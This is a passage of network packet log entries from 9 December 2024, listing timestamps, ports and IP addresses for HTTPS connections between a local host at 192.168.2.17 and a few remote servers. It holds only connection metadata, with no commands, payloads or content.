Dec 9, 2024 18:42:25.843350887 CET	443	49778	164.92.188.247	192.168.2.17
Dec 9, 2024 18:42:25.871792078 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.875962973 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.876045942 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.876065969 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:25.881757021 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.900063038 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.903449059 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.903523922 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.903537989 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.908689976 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.908776045 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:25.908787012 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:25.928694010 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:25.960727930 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.028136015 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.028150082 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.028249979 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.154051065 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.154068947 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.154244900 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.154262066 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.154341936 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.268476009 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.268486977 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.268558979 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.271033049 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.272347927 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.272356987 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.272448063 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.274684906 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.274722099 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.274753094 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.274769068 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.274811983 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.277262926 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.277271032 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.277348995 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.279687881 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.280955076 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.280961990 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.281028032 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.283788919 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.283859968 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.283870935 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.284673929 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.284682035 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.284759998 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.285995960 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.286005020 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.286112070 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.287291050 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.287343979 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.287352085 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.289038897 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.289119005 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.290405989 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.290487051 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.292843103 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.292893887 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.292901993 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.295418978 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.295475960 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.298013926 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.298110008 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.300329924 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.300355911 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.300417900 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.300427914 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.300473928 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.301578999 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.302815914 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.302848101 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.302861929 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.302875996 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.302911997 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.304119110 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.305382013 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.305428982 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.305435896 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.306566000 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.306605101 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.306612015 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.306626081 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.306725979 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.309084892 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.309149027 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.311748028 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.311778069 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.311816931 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.311830044 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.311839104 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.311846018 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.311862946 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.311887026 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.311939955 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.311984062 CET	49777	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.312005997 CET	443	49777	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.360676050 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.360697985 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.392199039 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.392254114 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.392268896 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.398339033 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.398390055 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.398399115 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.410526991 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.410586119 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.410595894 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.410667896 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.422920942 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.422935009 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.422981977 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.423199892 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.423240900 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.435400009 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.435408115 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.435463905 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.447829962 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.447838068 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.447885990 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.454350948 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.454406023 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.466742992 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.466814995 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.478888035 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.478959084 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.491211891 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.491272926 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.500529051 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.500588894 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.507035971 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.507097006 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.519181967 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.519238949 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.531518936 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.531574965 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.537929058 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.537987947 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.550532103 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.550594091 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.562602043 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.562714100 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.575273991 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.575359106 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.584275007 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.584340096 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.590703011 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.590783119 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.602972984 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.603035927 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.615449905 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.615518093 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.621736050 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.621809959 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.634151936 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.634211063 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.646322966 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.646521091 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.652714014 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.652781963 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.662703991 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.662774086 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.662787914 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.662827969 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.662828922 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.662867069 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.663122892 CET	49779	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:26.663142920 CET	443	49779	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:26.665965080 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.666004896 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:26.666085005 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.666312933 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:26.666326046 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:27.051433086 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:27.051464081 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:27.051563025 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:27.051774025 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:27.051786900 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:27.070445061 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:27.070516109 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:27.070573092 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:27.881032944 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:27.881375074 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:27.881400108 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:27.881758928 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:27.882050991 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:27.882118940 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:27.882184982 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:27.927326918 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:28.181616068 CET	49759	443	192.168.2.17	104.17.25.14
Dec 9, 2024 18:42:28.181649923 CET	443	49759	104.17.25.14	192.168.2.17
Dec 9, 2024 18:42:28.264488935 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.264837027 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.264856100 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.265202999 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.265583992 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.265691042 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.265713930 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.308361053 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.308367968 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.325624943 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:28.325720072 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:28.325776100 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:28.326231956 CET	49780	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:28.326246977 CET	443	49780	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:28.706679106 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.706931114 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.706999063 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.707004070 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:28.707053900 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.707499981 CET	49781	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:28.707513094 CET	443	49781	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:29.044179916 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:29.044224977 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:29.044317961 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:29.044526100 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:29.044534922 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.110068083 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:30.110143900 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:30.110202074 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:30.193639040 CET	49771	443	192.168.2.17	172.217.21.36
Dec 9, 2024 18:42:30.193676949 CET	443	49771	172.217.21.36	192.168.2.17
Dec 9, 2024 18:42:30.255820990 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.256253004 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.256279945 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.256639004 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.257061958 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.257157087 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.257205963 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.303329945 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.701689959 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.701771021 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.701828003 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.702545881 CET	49782	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.702567101 CET	443	49782	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.705220938 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:30.705269098 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:30.705359936 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:30.705555916 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:30.705569983 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:30.950495005 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.950541973 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:30.950660944 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.950927019 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:30.950938940 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:31.919682980 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:31.919960022 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:31.919972897 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:31.920305967 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:31.920624018 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:31.920691967 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:31.920768976 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:31.963340044 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:32.174330950 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.174621105 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.174645901 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.175005913 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.175297022 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.175375938 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.175440073 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.175525904 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.175561905 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.175679922 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.175714970 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.364537954 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:32.364626884 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:32.364703894 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:32.368160009 CET	49783	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:32.368184090 CET	443	49783	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:32.796683073 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.796736956 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.796787024 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.796812057 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.797394991 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.797445059 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.797452927 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.799109936 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.799154997 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.799161911 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.804152966 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.804198980 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.804207087 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.811700106 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.811758041 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.811765909 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.855746031 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.855755091 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.903750896 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.985831022 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.989732981 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.989800930 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.989820004 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.997957945 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:32.998028040 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:32.998035908 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.005765915 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.005834103 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:33.005841017 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.013830900 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.013892889 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:33.013900042 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.013926983 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.013976097 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:33.014040947 CET	49784	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:33.014054060 CET	443	49784	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:33.155958891 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:33.155999899 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:33.156100035 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:33.156347036 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:33.156363010 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.421042919 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.421361923 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.421381950 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.421834946 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.422280073 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.422332048 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.422338009 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.422399998 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.469820976 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.898808002 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.898901939 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:34.898966074 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.904267073 CET	49785	443	192.168.2.17	104.18.95.41
Dec 9, 2024 18:42:34.904282093 CET	443	49785	104.18.95.41	192.168.2.17
Dec 9, 2024 18:42:35.381710052 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:35.381755114 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:35.381822109 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:35.382173061 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:35.382184982 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.592922926 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.593317986 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:36.593349934 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.593707085 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.594130993 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:36.594201088 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.594260931 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:36.594352007 CET	49786	443	192.168.2.17	104.18.94.41
Dec 9, 2024 18:42:36.594383955 CET	443	49786	104.18.94.41	192.168.2.17
Dec 9, 2024 18:42:36.594486952 CET	49786	443	192.168.2.17	104.18.94.41
